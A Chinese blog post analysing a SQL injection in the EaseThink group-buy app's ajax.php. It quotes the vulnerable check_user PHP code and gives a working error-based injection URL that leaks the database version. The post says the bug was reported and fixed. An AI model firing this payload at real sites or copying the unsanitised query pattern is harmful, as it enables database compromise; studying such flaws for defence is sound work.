易想团购 注入 user.php,易想团购ajax.php SQL注入分析和Exp

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。

* 验证会员数据

*/

function check_user($field_name,$field_data)

{

//开始数据验证

$user_data[$field_name] = $field_data;

$res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据

if(trim($user_data['user_name'])==''&&$field_name=='user_name')

{

$field_item['field_name'] = 'user_name';

$field_item['error']=EMPTY_ERROR;

$res['status'] = 0;

$res['data'] = $field_item;

return $res;

}

if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。

{

$field_item['field_name'] = 'user_name';

$field_item['error']=EXIST_ERROR;

$res['status'] = 0;

$res['data'] = $field_item;

return $res;

}

ad2312b2ec41ce0ab15e3ea487faec27.png

Exp:

http://192.168.9.109/easethink_free_v1.4/ajax.php?act=check_field&field_name=user_name&field_data='and/**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23

cbca60d060f81a1b7ff1515352e7ee77.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值